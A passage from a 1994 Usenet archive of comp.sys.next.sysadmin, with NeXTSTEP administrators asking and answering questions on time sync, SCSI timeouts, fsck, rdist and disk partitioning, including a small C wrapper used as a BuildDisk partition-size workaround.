Move all pages in /usr/man/man to /usr/man/man1
>
>Is there a rather long script someone has built to fix all of the stuff
>that this release was supposed to have fixed? I assume it's fixed,
>just not linked in correctly.
What was broken? These are very trivial issues.
>
>Question for the lawyers: We purchase software that is supposed to
>operate according to certain specifications (sometimes under government
>purchasing contracts). We receive that software and it doesn't perform
>according to those specifications (Bugs, I believe they are called).
Said purchasers of software are expected to read the release notes.
NeXT never claim that all bugs have been fixed. Those that have been
fixed are documented in the Release Notes.
>
>Then later we are "offered" the opportunity to "upgrade" our software
>for an additional fee to correct those portions that didn't function in
>the first place according to specifications.
It didn't cost me anything to upgrade to 3.2 having properly
registered before the deadline.
>Should the GAO (for us government users) look into this? Normally what
>we buy is expected to perform according to specification or the
>upgrades to make it perform that way are FREE since that is what we
>paid for in the first place.
Why?
What specification are you referring to? You'd need a detailed
specification of claims that were not met before anything was legal.
--
"C++ is the best C++ there is."
(ASCII for text only messages)
From: paulus@macc.wisc.edu (Paulus Adisoemarta)
Newsgroups: comp.sys.next.sysadmin
Subject: How to mount Linux filesystem ?
Date: 7 Apr 1994 01:08:33 GMT
Organization: Petroleum Engineering Dept, U of Texas, Austin
Message-ID: <2nvmeh$2f6@geraldo.cc.utexas.edu>
How to mount a Linux filesystem (ext2) to a NS/i system ?
Thanks
Paulus
--
Paulus Suryono Adisoemarta, N5SNN / YG1QN
yono@ccwf.cc.utexas.edu
yono@gnu.ai.mit.edu
paulus@nextdown.pe.utexas.edu
From: paulus@macc.wisc.edu (Paulus Adisoemarta)
Newsgroups: comp.sys.next.sysadmin
Subject: How to create a second NS partition in NS/i
Date: 7 Apr 1994 01:14:16 GMT
Organization: Petroleum Engineering Dept, U of Texas, Austin
Message-ID: <2nvmp8$2kf@geraldo.cc.utexas.edu>
How to create a second NextStep partition in a NS/intel system
on the same harddisk ?
I tried with fdisk, but it barfs at me.
Help,
paulus
--
Paulus Suryono Adisoemarta, N5SNN / YG1QN
yono@ccwf.cc.utexas.edu
yono@gnu.ai.mit.edu
paulus@nextdown.pe.utexas.edu
Newsgroups: comp.sys.next.sysadmin
From: nathan@laplace.csb.yale.edu (Nathan F. Janette)
Subject: Re: How to sync time with other non-NS machine?
Message-ID: <1994Apr7.015126.24083@cs.yale.edu>
Sender: news@cs.yale.edu (Usenet News)
Organization: Yale University, Department of Computer Science, New Haven, CT
References: <2nunas$a8b@news.iastate.edu>
Date: Thu, 7 Apr 1994 01:51:26 GMT
In article <2nunas$a8b@news.iastate.edu> chris@helser54.res.iastate.edu
(Chris Wong) writes:
> > > ntp -s ntp.demon.co.uk
>
> Is this workable with non-NeXTSTEP machine?
You can get xntp (some ftp site, I forget where, check archie) which
works on many Unix systems. I use it on HP and SGI systems without a
problem.
--
Nathan "USENET" Janette
Systems Manager, Brunger Lab, Dept MB&B, Yale Univ/HHMI, New Haven, CT
PPP link from hilbert.csb.yale.edu
Please reply to: nathan@laplace.csb.yale.edu (NeXT)
From: kci@teleport.com (Steve Kornreich)
Newsgroups: comp.sys.next.sysadmin
Subject: POP server for Intel??
Followup-To: comp.sys.next.sysadmin
Date: Wed, 06 Apr 1994 22:51:53 -0700
Organization: Kornreich Communications
Message-ID: <kci-060494225153@ppp-001.teleport.com>
Is there a POP server available for NS_FIP??
--
Kornreich Communications
Steven Kornreich
kci@teleport.com
From: samurai@wsc.com (Darcy Brockbank)
Newsgroups: comp.sys.next.sysadmin
Subject: cmsg cancel <2nsns5$pjt@cerberus.wsc.com>
Control: cancel <2nsns5$pjt@cerberus.wsc.com>
Date: 5 Apr 1994 18:25:21 -0400
Organization: WSC Investment Services, Inc.
Disclaimer: The views represented within this posting are not necessarily those
held by WSC Investment Services, Inc.
Message-ID: <2nsogi$scq@charon.wsc.com>
145 cancelled from NewsGrazer.
From: therbert@umiami.ir.miami.edu
Newsgroups: comp.sys.next.sysadmin,comp.sys.next.bugs,comp.sys.next.hardware
Subject: Re: EATA timeout report #2
Message-ID: <1994Apr5.214338.17359@umiami.ir.miami.edu>
Date: 5 Apr 94 21:43:38 EDT
References: <2npsso$9p@marsu.tynet.sub.org> <2ns15b$iu3@tribune.usask.ca>
Organization: Univ of Miami IR
In article <2ns15b$iu3@tribune.usask.ca>, eric@skatter.usask.ca writes:
>> 2. This one and only EISA combination 2012/2022/2122 and NS/I DPT driver
>> does not work reliably. It must be considered even dangerous to run
>> a NS/I server machine with this combination. Severe data loss is
>> possible.
>>
> I'd like to point out that `your mileage may vary'. I have been running
> a DPT 2022 (with no cache) for 3 months now, heavy usage, and have had
> exactly 0 of these EATA Timeouts.
>
> --
> Eric Norum eric@skatter.usask.ca
> Saskatchewan Accelerator Laboratory
> University of Saskatchewan
> Saskatoon, Canada. NeXTMail accepted.
As reported to some of the users having problems - I have NO EATA timeouts
even with heavy usage as a server AS LONG AS I RUN ONLY A SINGLE SCSI
DEVICE - THE INTERNAL DEC 1.5GB DRIVE. If I run either my Wang DAT or
my Sony CD drive or both, I get a timeout every 7-10 days. In almost
six months of total operation, 4.5 of which were with two or more
SCSI devices, I have had maybe 15 timeouts, of which only one caused
serious problems - In that case I had a panic and minor filesystem
damage which was repaired by a manual fsck and replacement of a link.
Still, considering the number of similar reported problems and the
fact that this problem seems to occur on just the kind of machines
which are likely to be network servers, I am very nervous - Even if
one out of 10 or even 100 such users suffers panics or filesystem
damage, the problem is serious.
Yes, there seems to be a lot of variation in frequency among users
but, I view the timeout problem as one of the most serious I have
encountered with Unix or NeXTstep systems - An erratic server is
dangerous and I worry - Not to the extent of staying awake all night
but nevertheless I am very concerned.
Thomas J. Herbert
Department of Biology
University of Miami
From: sams@nbivax.nbi.dk
Newsgroups: comp.sys.next.sysadmin
Subject: Re: A4 default in Preview app?
Message-ID: <1994Apr7.094428.1592@nbivax.nbi.dk>
Date: 7 Apr 94 09:44:28 +0200
References: <1994Apr2.201949.7880@seer.demon.co.uk> <1994Apr4.181111.11076@rdbois.uucp>
Organization: Niels Bohr Institute and Nordita, Copenhagen
In article <1994Apr4.181111.11076@rdbois.uucp>, sr@rdbois.fdn.org (serge_ruby) writes:
> In article <1994Apr2.201949.7880@seer.demon.co.uk> paul@seer.demon.co.uk (Paul
> Lynch) writes:
>> In article <1994Mar31.200110.1582@nbivax.nbi.dk> sams@nbivax.nbi.dk
>> writes:
>> > How does one set the default paper size to A4 in Preview app?
>>
>> If you want to set a default page size for any competently written NeXT
>> app (sharp minds will notice that this leaves some room), set:
>>
>> dwrite GLOBAL NXPaperType A4
>
> Does any of you know were to find the list of the relevant GLOBAL dwrite ?
> I could not find it in the librarian.
>
> Serge
try
dread -l
thomas
From: devans@snowhite.cis.uoguelph.ca (David Evans)
Newsgroups: comp.sys.next.sysadmin
Subject: Re: RISC usage in ND card and X servers
Date: 6 Apr 1994 02:48:40 GMT
Organization: University of Guelph
Message-ID: <2nt7u8$sc8@nermal.cs.uoguelph.ca>
References: <2nseut$clp@merckx.graphics.cornell.edu>
In article <2nseut$clp@merckx.graphics.cornell.edu>
patrick@yabba.graphics.cornell.edu (Patrick Heynen) writes:
> Just to get the facts straight: the i860 on the ND does NOT just support live
> video- as a matter of fact, that is one of the only functions in which it is
NOT
> involved in. The i860 is part of a general purpose subsystem which runs a
mini
> mach kernel, which has several processes running on it. The output of NDps is
as
> follows:
[ SNIP ]
Could you point the way to NDps and other such goodies? Or are they only
available after you sign a non-disclosure agreement.....
--
David Evans devans@snowhite.cis.uoguelph.ca
Computer/Synth Junkie (NeXTMail OK)
University of Guelph "Default is the value selected by the
Guelph, Ontario, Canada composer overridden by your command."
- Roland TR-707 Manual
From: devans@snowhite.cis.uoguelph.ca (David Evans)
Newsgroups: comp.sys.next.sysadmin
Subject: Re: RISC usage in ND card and X servers
Date: 6 Apr 1994 02:48:45 GMT
Organization: University of Guelph
Message-ID: <2nt7ud$sca@nermal.cs.uoguelph.ca>
References: <2nseut$clp@merckx.graphics.cornell.edu>
In article <2nseut$clp@merckx.graphics.cornell.edu>
patrick@yabba.graphics.cornell.edu (Patrick Heynen) writes:
> Just to get the facts straight: the i860 on the ND does NOT just support live
> video- as a matter of fact, that is one of the only functions in which it is
NOT
> involved in. The i860 is part of a general purpose subsystem which runs a
mini
> mach kernel, which has several processes running on it. The output of NDps is
as
> follows:
[ SNIP ]
Could you point the way to NDps and other such goodies? Or are they only
available after you sign a non-disclosure agreement.....
--
David Evans devans@snowhite.cis.uoguelph.ca
Computer/Synth Junkie (NeXTMail OK)
University of Guelph "Default is the value selected by the
Guelph, Ontario, Canada composer overridden by your command."
- Roland TR-707 Manual
From: chris@helser54.res.iastate.edu (Chris Wong)
Newsgroups: comp.sys.next.sysadmin
Subject: fsck problem.
Date: 6 Apr 1994 03:37:16 GMT
Organization: Iowa State University, Ames, Iowa
Message-ID: <2ntapc$o52@news.iastate.edu>
I'd got serveral crashes before which fsck couldn't correct it back to the
original state.
Some strange problem after disk crashes and fixes by fsck:
1) gunzip didn't work properly, which made some compressed file
undecompressible, and some decompressible files decompressed wrong. For
example, it said CRC error when I decompression the darn large
Emacs-19/NS. And it decompressed NewsGrazer ok but didn't run.
2) Crashes more frequently...
Since I didn't backup my harddrive... I don't have a tape drive. I relied
on fsck. Now, I know that I can't rely on it. Then I decided to
reinstall the whole NS/FIP 3.2 from scratch... <:(
After the reinstallion, everything works as is.
However, the fortune cookies backspace module just locked my system. I
have no way to halt the system before rebooting. So, I pressed the reset
button on the case again to hard reboot the machine. Then, NS use fsck to
check my disk and it claimed that the root is fixed.
My question is:
Should I believe this claim? Is it reliable?
Is there any way to avoid this?
How can I let other non-NeXT machine mount my root?
Is there any way to detect which file is affected?
BTW, my machine was idling for over four hours before I touched it again.
Would all the data in the cache area be flushed already?
Thanks for the help.
Chris
Newbie in system administration.
--
Chris Wong
chris@iastate.edu
Iowa State University
From: mike@whammo.media.mit.edu (Michael Hawley)
Newsgroups: comp.sys.next.sysadmin,comp.sys.next.misc
Subject: Gateway wedging
Date: 6 Apr 1994 03:37:30 GMT
Organization: MIT Laboratory for Computer Science
Message-ID: <2ntapq$5up@GRAPEVINE.LCS.MIT.EDU>
We're building 3.2 on a Gateway 66v tower machine,
with DPT 2022 and ATI graphics. Boot from floppy
works fine, the disk format works fine, but the
subsequent boot from CD-ROM wedges. In particular,
it freezes at "Registering PCKeyboard0."
Any clue as to why?
From: akonstan@math.macalstr.edu (Alexander Konstantinou)
Newsgroups: comp.sys.next.sysadmin
Subject: looking for supported Appleshare for NeXTSTEP
Date: 5 Apr 1994 19:53:39 GMT
Organization: Macalester College, Department of Computer Science
Message-ID: <2nsfk3$frd@mckinley.cit.macalstr.edu>
I know that this is a frequently asked question but I have been unable to find
the answer in the FAQ's. I am looking for a commercial implementation of
Appleshare for m68k NeXT's. Although I remember this question being asked
in the past I did not keep a copy of the responses. This probably belongs to
the FAQ.
Thanks in advance for your help.
--
Alexander V. Konstantinou akonstan@math.macalstr.edu (NeXTMail OK)
Newsgroups: comp.sys.next.sysadmin
From: pjoe@charon.muc.de (Peter Eybert)
Subject: Re: NetInfo & hostname problem
Message-ID: <1994Apr6.180956.1298@charon.muc.de>
Sender: pjoe@charon.muc.de
Organization: Peter Eybert
References: <mreynoldCnrIv1.IK4@netcom.com>
Date: Wed, 6 Apr 1994 18:09:56 GMT
Marc B. Reynolds writes
> I have a problem with the NetInfo-database and my system hostname.
> I used SimpleNetworkStarter.app to set my hostname and IP. Everything
> seemed to work fine (this was months ago). Just recently, however,
> I discovered that gethostname returns an error (-1) when I call it.
> While trying to track the problem down, I noticed that NetInfoManager
> calls my root domain -- "local@No Host Name Registered - /", so I assume
> that the NetInfo database is clueless about my hostname and that this
> is the source of my problem. I attempted to correct with the host
> manager, but the problem still existed. I tried mucking around with
> the NetInfo manager, but since I fairly NeXT clueless, I couldn't find
> the proper entry to modify/extend. (Best not break things more.)
>
> So..If anyone has any-ideas on what my problem TRUELY is and/or how to
> fix it...please, bounce 'em off me.
>
> Cheers,
With Host Manager, add a host name alias for localhost.
Although this won't change "local@No Host Name Registered"
in NetInfoManager, gethostname should work.
--
____________________________________________________________
Peter Eybert pjoe@charon.muc.de
Appenzellerstr. 123 Tel: +49-89-7593734
81475 Muenchen (NeXTMail welcome)
--
From: theharv@csld.ucr.edu (Brian Harvey)
Newsgroups: comp.sys.next.sysadmin
Subject: Two Questions...
Date: 6 Apr 1994 06:36:13 GMT
Organization: University of California, Riverside
Message-ID: <2ntl8t$p7s@galaxy.ucr.edu>
Here are two questions for you experts:
1) What file stores the GLOBAL defaults. I checked in my ~/.NeXT directory
but couldn't find those defaults in there (found the other app defaults
though)?
2) If I delete the ~/.NeXT directory, logout, and then log back in again,
from where does the new .NeXT come from?
--------
Brian Harvey * theharv@csld.ucr.edu
University of California, Riverside * brian@cs.ucr.edu
C.S.L.D. System Administrator (NeXT Mail preferred everywhere!)
From: patrick@yabba.graphics.cornell.edu (Patrick Heynen)
Newsgroups: comp.sys.next.sysadmin
Subject: NextStep Network Monitoring Tools??
Date: 7 Apr 1994 15:46:17 GMT
Organization: Cornell University Program of Computer Graphics
Message-ID: <2o19s9$do3@merckx.graphics.cornell.edu>
Does anyone know of any halfway decent network monitoring tools for NextStep?
I have been told that there is a PD utility called TCPdump- does anyone know any
more about this and whether there is a NextStep version??
Thanx, Patrick
============================================================================
Patrick Heynen patrick@graphics.cornell.edu
Program of Computer Graphics
Cornell University
From: andylee@nic.cerf.net (Andy Lee)
Newsgroups: comp.sys.next.sysadmin
Subject: Need help with rdist
Date: 5 Apr 1994 23:57:47 -0700
Organization: CERFnet Dial n' CERF Customer
Message-ID: <2ntmhb$57s@nic.cerf.net>
I am trying to use /usr/ucb/rdist to make mirror directories. So I
read the man pages on rdist and set up this simple ~/distfile to copy
my home directory to /Backup/users/andylee:
userdata: ~ -> idealicus install -R -w /Backup/users/andylee ;
"idealicus" is my machine's hostname, and /Backup is a local hard
drive. And when I do "rdist userdata", it says:
updating host idealicus
Permission denied.
In between the two messages, the SLIP connection went up. What is
going on? And more importantly, what am I doing wrong?
Thanks for listening...
Andy
From: philipp@enst.fr (Philippe-Andre Prindeville)
Newsgroups: comp.sys.next.sysadmin
Subject: terminfo entry for Terminal.app
Date: 7 Apr 1994 17:46:00 +0200
Organization: Telecom Paris (ENST), France
Distribution: world
Message-ID: <2o19ro$g1v@hydre.enst.fr>
Mime-Version: 1.0
Content-Type: text/plain; charset=iso-8859-1
Content-Transfer-Encoding: 8bit
Can someone send me a terminfo entry that works with System V
(Solaris, HP-UX, etc)? I have a NeXT at home, and often dial
into our HPs at work, but have problems with more, vi, rn, etc.
Thanks,
-Philip
Newsgroups: comp.sys.next.sysadmin
From: stefanos@thor.ats.qc.ca (Stefanos Kiakas)
Subject: Need help setting up external hard disk.
Message-ID: <CntpA3.7Hs@ats.qc.ca>
Sender: news@ats.qc.ca
Organization: ATS Aerospace
Date: Wed, 6 Apr 1994 05:44:26 GMT
Hello all,
I have just purchased the following disk drive:
SCSI information for /dev/rsd1a
Drive type: FUJITSU M2624F-512
512 bytes per sector
63 sectors per track
11 tracks per cylinder
1429 cylinder per volume (including spare cylinders)
3 spare sectors per cylinder
11 alternate tracks per volume
1015811 usable sectors on volume
I've managed to format it and use it as a single partition
drive. But I'm interested in spliting it up into several partitions.
Does anyone have a disktab entry for this drive? If so could you please
email it to me. I would also like to know how to make one of these partitions
so I can boot of of it. Any help would be appriciated.
Thanx,
stef
Newsgroups: comp.sys.next.sysadmin
From: ue102aj@sun1.LRZ-Muenchen.DE (Christian Scheer)
Subject: WorkspaceManager Error revisited!!
Message-ID: <ue102aj.765789859@sun1>
Sender: news@news.lrz-muenchen.de (Mr. News)
Organization: Leibniz-Rechenzentrum, Muenchen (Germany)
Distribution: all
Date: Fri, 8 Apr 1994 07:24:19 GMT
YesterDay I wrote :
I've got a little Problem with one of our NeXTs !
When logging in as ROOT from the LoginWindow the WorkspaceManager appears
for a very short while to disappear suddenly before startup is
completed. A warning panel appears to inform me of a WSM error.
Why's that ??
Now one of you (thanks Ken) tried to give me a hint and told me, I
was a bit to vague in describing the problem !
Ok the interesting thing is, that everything else works fine :
logging in from the LoginWindow as another user is OK,
logging in from a shell as root is OK too.
I tried replacing the .NextDefaults.D and .NeXTDefault.L in the /.NeXT
directory but that didn't help much.
There must be something screwed up with the configuration files of only
the root account, but I don't know what!
(By the way : It's a black station under 3.2)
Any tip would be appreciated !!
Chris
Newsgroups: comp.sys.next.sysadmin
From: sr@rdbois.fdn.org (serge_ruby)
Subject: Re: A4 default in Preview app?
Message-ID: <1994Apr4.181111.11076@rdbois.uucp>
Sender: sr@rdbois.uucp (serge_ruby)
Organization: S.RUBY
References: <1994Apr2.201949.7880@seer.demon.co.uk>
Date: Mon, 4 Apr 1994 18:11:11 GMT
In article <1994Apr2.201949.7880@seer.demon.co.uk> paul@seer.demon.co.uk (Paul
Lynch) writes:
> In article <1994Mar31.200110.1582@nbivax.nbi.dk> sams@nbivax.nbi.dk
> writes:
> > How does one set the default paper size to A4 in Preview app?
>
> If you want to set a default page size for any competently written NeXT
> app (sharp minds will notice that this leaves some room), set:
>
> dwrite GLOBAL NXPaperType A4
Does any of you know were to find the list of the relevant GLOBAL dwrite ?
I could not find it in the librarian.
Serge
Newsgroups: comp.sys.next.sysadmin
From: sr@rdbois.fdn.org (serge_ruby)
Subject: Re: How to sync time with other non-NS machine?
Message-ID: <1994Apr4.181710.11138@rdbois.uucp>
Sender: sr@rdbois.uucp (serge_ruby)
Organization: S.RUBY
References: <1994Apr3.071329.9103@seer.demon.co.uk>
Date: Mon, 4 Apr 1994 18:17:10 GMT
In article <1994Apr3.071329.9103@seer.demon.co.uk> paul@seer.demon.co.uk (Paul
Lynch) writes:
> In article <2nl2g1$ga7@news.iastate.edu> chris@iastate.edu (Chris Wong)
> writes:
> > In my site, there is a machine which every other machines sync their
> > time to it.
> >
> > Can my NS machine do this too?
>
> Yes. In HostManager, the Network menu option gives you a panel to set up
> time service.
>
> All this really does is enable ntp; you can run ntp as root from the
> command line. For example:
>
> ntp -s ntp.demon.co.uk
Is there a way of doing this by UUCP? That is every time my NeXT connects to
the UUCP relay host the later sends the time, saving all the slab connecting to
it daily to have their time adjusted by hand every week (the clock fitted in
slabs is so inaccurate)?
That would be great.
Serge
From: dxu@cm5.ncsa.uiuc.edu
Newsgroups: comp.sys.next.sysadmin
Subject: HELP! print is not in center on the page
Date: 7 Apr 1994 17:02:29 GMT
Organization: University of Illinois at Urbana
Message-ID: <2o1eb5$f0n@vixen.cso.uiuc.edu>
Keywords: printer
We have some problem with a NeXT laser printer which prints but to
up-right about one inch. Could someone tell us how to reset the
printer (not just turn it off and on) and make the print centered?
Thanks,
--
Joel Shi
+--------------------------------------------------------------------
|Programming and System Administration
|Theoretical Biophysics shi@lisboa.ks.uiuc.edu
|University of Illinois Tel: (217)-244-1851
Newsgroups: comp.sys.next.sysadmin
From: trout@netcom.com (P. Kim)
Subject: HELP: nextstations won't boot
Message-ID: <troutCnwDvG.L2q@netcom.com>
Organization: NETCOM On-line Communication Services (408 241-9760 guest)
Date: Thu, 7 Apr 1994 16:30:51 GMT
Just yesterday, two of our nextstations (color, non-turbo) refused to boot.
When starting from a power-on, I get an exception #3 in the ROM monitor.
When booting from the ROM monitor, I get a message saying "sdmach not
found" and then leaves me with a "blk0 boot:" prompt (I don't remember
the exact wording). Booting from a floppy/CD-rom combo (bfd -s) I get
an exception #4. So, basically what I'm asking is "What the hell do I do
now?" If you need more details or have a solution, please e-mail me at
paul@mtcorp.com.
thanks in advance,
paul kim
paul@mtcorp.com (NeXTmail OK)
trout@netcom.com (no NeXTmail)
Newsgroups: comp.sys.next.sysadmin
From: jladwig@soils.umn.edu (John Ladwig)
Subject: Re: How to sync time with other non-NS machine?
Message-ID: <jladwig.765739950@saturn>
Sender: news@news.cis.umn.edu (Usenet News Administration)
Organization: UMN Soils GIS Lab
References: <1994Apr4.181710.11138@rdbois.uucp> <2nunas$a8b@news.iastate.edu>
Date: Thu, 7 Apr 1994 17:32:30 GMT
In <2nunas$a8b@news.iastate.edu> chris@helser54.res.iastate.edu (Chris Wong) writes:
>In article <1994Apr4.181710.11138@rdbois.uucp> sr@rdbois.fdn.org
>(serge_ruby) writes:
>> In article <1994Apr3.071329.9103@seer.demon.co.uk> paul@seer.demon.co.uk
>>(Paul Lynch) writes:
>> > All this really does is enable ntp; you can run ntp as root from the
>> > command line. For example:
>> >
>> > ntp -s ntp.demon.co.uk
>Is this workable with non-NeXTSTEP machine?
My NS2.1 mailhub happily accepts time suggestions from our Sparc 2/
SunOS4.1.3 nameserver.
I run ntp out of cron once per hour.
-jml
--
UMN Department of Soil Science; St. Paul, MN
Internet: john.ladwig@soils.umn.edu Fidonet: John Ladwig 1:282/341
GS (1.01): d* -p+ c++ l++ e+ m+ s n++ h--- f g+ w+ t r- x*
From: croehrig@celegans.psych.ubc.ca (Chris Roehrig)
Newsgroups: comp.sys.next.sysadmin
Subject: Re: How to create a second NS partition in NS/i
Date: 7 Apr 1994 18:10:23 GMT
Organization: Computer Science, University of B.C., Vancouver, B.C., Canada
Message-ID: <2o1iaf$bvu@cs.ubc.ca>
References: <2nvmp8$2kf@geraldo.cc.utexas.edu>
In article <2nvmp8$2kf@geraldo.cc.utexas.edu> paulus@macc.wisc.edu (Paulus
Adisoemarta) writes:
> How to create a second NextStep partition in a NS/intel system
> on the same harddisk ?
This should probably be a FAQ.
I spent a while trying to figure out how to do this, but I managed to do
it. The problem is when you have a disk with 512 byte sectors (you can
check this with "scsimodes /dev/rsd?a (as root)", where ? is the drive you
want to initialize). Before you begin, familiarize yourself with the
fdisk, disk, and BuildDisk programs.
BuildDisk has two relevant bugs:
1) It doesn't know about fdisk NEXTSTEP partitions, and thinks
the entire disk (as returned by scsimodes) is available.
2) Doesn't appear to check the blocksize, and assumes the sectors
are 1024 bytes, which ends up with the first partition being half the size
you expect (if you have a disk with 512 byte sectors).
Fortunately these are not really critical, since all BuildDisk does is
call /usr/etc/disk with the -p parameter to specify the size (in sectors)
of the first partition. Since disk is smart enough to know about sector
sizes and NEXTSTEP partitions, nothing is really screwed up except that
you only get half the size you expect.
Solutions:
1. Do a low-level reformat of your drive to 1024 bytes per sector
using sdformat (available on the archives). However, I found that this
really screwed up DOS partitions which seem to depend on having 512 bytes
per sector. If you want a DOS partition on your drive, I wouldn't
recommend this. Also, I don't _know_ that this would fix the problem,
since I never tried it. But I'm pretty sure it would :-)
2. If the desired size of your first partition is less than 1/2 of
the total disk size (i.e. what BuildDisk thinks it has available), you can
just move BuildDisk's Partition Size slider to double the value that you
want, and everything should work fine. Don't worry about what BuildDisk
thinks is the size of the second partition. It will correctly be what's
left over after the first partition is created.
3. If you want a bigger first partition, it's a bit tougher. I
tried a few things, but the easiest way I found was to replace
/usr/etc/disk with a "dummy" program (mydisk.c -- see below) that doubles
the partition size before passing the parameters onto the real
/usr/etc/disk.
Specifically (as root):
1) mv /usr/etc/disk /usr/etc/disk.SAV
2) cc -o mydisk mydisk.c
3) mv mydisk /usr/etc/disk
4) run fdisk to create a NEXTSTEP partition on the drive you want
to build the filesystems on. The size of the "fdisk"
partition should be the sum of the sizes of the two UNIX
partitions you want to create.
5) Run BuildDisk, and use the parition button to select your
partition sizes. BuildDisk will think it has the whole disk
to use, but don't worry about that. Just set the size of
the FIRST partition to be the size that you want; the second
partition will be what's left over.
6) Click "Build" to build the disk and wait for it to finish
building. You can check in the Console window (of Workspace
Manager) to see that you are getting the partition sizes you
want.
7) When you are finished, replace /usr/etc/disk on both your
startup partition, and the newly built partition.
E.g. if your newly build partition is /dev/sd1a, do
mv /usr/etc/disk.SAV /usr/etc/disk
mount /dev/sd1a /NewDisk
cp -p /usr/etc/disk /NewDisk/usr/etc/disk
That should be it!
Standard disclaimer: Use at your own risk! I make no guarantee that
this will work, and cannot be held responsible for anything that goes
wrong. All I claim is that it worked for me (NEXTSTEP 3.2/Intel).
Here's mydisk:
======================= mydisk.c ============================
#include <stdio.h>
#include <libc.h>
void main( int argc, char *argv[] )
{
int i;
char *nargv[30];
int sects;
char buf[200];
for( i=0; i<argc; i++ ){
nargv[i] = argv[i];
if( strcmp( argv[i], "-p") == 0 ){
sscanf( argv[i+1], "%d", §s );
sprintf( buf, "%d", sects*2 );
nargv[i+1] = buf;
i++;
}
}
nargv[i] = NULL;
execv( "/usr/etc/disk.SAV", nargv );
}
=========================================================
--
Chris Roehrig (croehrig@celegans.psych.ubc.ca)
Invertebrate Learning Group, University of British Columbia, Canada
Newsgroups: comp.sys.next.sysadmin
From: francisr@stupid.ucs.indiana.edu (Rob Francis)
Subject: Workspace crashing on NS Intel
Message-ID: <CnwJIC.GD1@usenet.ucs.indiana.edu>
Sender: news@usenet.ucs.indiana.edu (USENET News System)
Organization: Indiana University
Date: Thu, 7 Apr 1994 18:32:35 GMT
Running NS Intel on a Gateway 2000 486/DX2 and it's been doing fine
for months.
Now, upon occation the workspace crashes and forces an exit with:
"Workspace Manager Error. Try to save changing before logging out."
Then 'logout' is the only option.
I see the following pop in /usr/adm/messages which seems to be related
to the times we see this problem:
Apr 6 09:22:38 wizard loginwindow[13584]: loginwindow: running
/usr/lib/NextStep/Workspace.app/Workspace
Apr 6 09:22:38 wizard Workspace[13584]: logged in
Apr 6 10:45:55 wizard mach: ttyscc1: receive error 2 (-902)
Apr 6 12:15:11 wizard mach: ttyscc1: receive error 2 (-902)
Apr 6 12:27:43 wizard mach: ttyscc1: receive error 2 (-902)
Apr 6 13:46:50 wizard mach: ttyscc1: receive error 2 (-902)
Apr 6 13:55:56 wizard mach: ttyscc1: receive error 2 (-902)
Apr 6 17:41:02 wizard loginwindow[199]: loginwindow: Workspace
exited ts 0 cd 0 rc 0 sv 0 ss 0.
Anyone seen this before?
-rob
---
Rob Francis Unix Systems Specialist, University Computing Services
Indiana University, francisr@indiana.edu (812)855-0327
From: gwhite@trevnx.bio.dfo.ca (George White 6-8509)
Newsgroups: comp.sys.next.sysadmin
Subject: Re: PCNFSD Ver 2
Date: 6 Apr 1994 12:34:06 -0300
Organization: Bedford Institute of Oceanography
Sender: news@nstn.ns.ca
Message-ID: <GWHITE.94Apr6123353@trevnx.bio.dfo.ca>
References: <2nctgr$hn2@portal.gmu.edu>
In-reply-to: csmith@blackplague.gmu.edu's message of 30 Mar 1994 22:12:43 GMT
In article <2nctgr$hn2@portal.gmu.edu> csmith@blackplague.gmu.edu (Christian Smith) writes:
I am setting up a bunch of Dos/Windows machines to mount drive
space froma NeXT and want to use PCNFSD ver 2 for authentification
and print sharing. I got a copy from FTP Software but the Makefile
seems to only be for Sun OS. Has anybody compiled PCNFSD Ver 2 on
a Next running 3.2?
I use the version from:
ftp.york.ac.uk:/pub/pc/pc-nfs/RPC.pcnfs
on our 3.0 systems. This site contains lots of PCNFS related stuff,
but is hard to reach from Atlantic Canada (28 hops!).
--
--
George White <GWhite@BIOnet.BIO.DFO.ca> Bedford Inst. of Oceanography
From: chris@helser54.res.iastate.edu (Chris Wong)
Newsgroups: comp.sys.next.sysadmin
Subject: Re: How to sync time with other non-NS machine?
Date: 6 Apr 1994 16:17:32 GMT
Organization: Iowa State University, Ames, Iowa
Message-ID: <2nunas$a8b@news.iastate.edu>
References: <1994Apr4.181710.11138@rdbois.uucp>
In article <1994Apr4.181710.11138@rdbois.uucp> sr@rdbois.fdn.org
(serge_ruby) writes:
> In article <1994Apr3.071329.9103@seer.demon.co.uk> paul@seer.demon.co.uk
(Paul
> Lynch) writes:
> > In article <2nl2g1$ga7@news.iastate.edu> chris@iastate.edu (Chris
Wong)
> > writes:
> > > In my site, there is a machine which every other machines sync their
> > > time to it.
> > >
> > > Can my NS machine do this too?
> >
> > Yes. In HostManager, the Network menu option gives you a panel to set
up
> > time service.
> >
> > All this really does is enable ntp; you can run ntp as root from the
> > command line. For example:
> >
> > ntp -s ntp.demon.co.uk
Is this workable with non-NeXTSTEP machine?
--
Chris Wong
chris@iastate.edu
Iowa State University
From: chris@helser54.res.iastate.edu (Chris Wong)
Newsgroups: comp.sys.next.sysadmin
Subject: How to let non-NS machine nfs mount my NS root?
Date: 6 Apr 1994 16:19:15 GMT
Organization: Iowa State University, Ames, Iowa
Message-ID: <2nune3$a8t@news.iastate.edu>
The subject pretty much say what I want to know.
Why? I need to backup my harddrive in my room remotely.
Please help.
Anyhelp would be appreciated
--
Chris Wong
chris@iastate.edu
Iowa State University
From: rimon@spectre.sas.upenn.edu (Rimon E. Huque)
Newsgroups: comp.sys.next.sysadmin
Subject: faq
Date: 7 Apr 1994 19:09:23 GMT
Organization: University of Pennsylvania
Distribution: world
Message-ID: <2o1lp3$3qt@netnews.upenn.edu>
Is there a detailed FAQ on NeXTstep system administration for NSFIP, and
NS_Black?
-R. Huque
From: Christopher_Lane@Med.Stanford.EDU
Newsgroups: comp.sys.next.sysadmin
Subject: Re: Need help with rdist
Date: 6 Apr 1994 17:08:31 GMT
Organization: Stanford University
Message-ID: <2nuqaf$8uj@nntp2.Stanford.EDU>
References: <2ntmhb$57s@nic.cerf.net>
In article <2ntmhb$57s@nic.cerf.net> andylee@nic.cerf.net (Andy Lee) writes:
> In between the two messages, the SLIP connection went up. What is
> going on? And more importantly, what am I doing wrong?
Just a guess -- though this is a local update, rdist uses the network
anyway/always. Since it doesn't prompt for passwords, it probably requires
that the hosts involved be listed in /etc/hosts.equiv or .rhosts files.
(Probably with matching case/domain too.) Or try using 'localhost' instead.
- Christopher
From: daniel@batman.tamu.edu (Daniel)
Newsgroups: comp.sys.next.sysadmin
Subject: SCSI scanner problem
Date: 7 Apr 1994 15:28:20 -0500
Organization: Computing and Information Services
Message-ID: <2o1qd4$od5@batman.tamu.edu>
We've got a SCSI scanner which is attached to a NeXT running
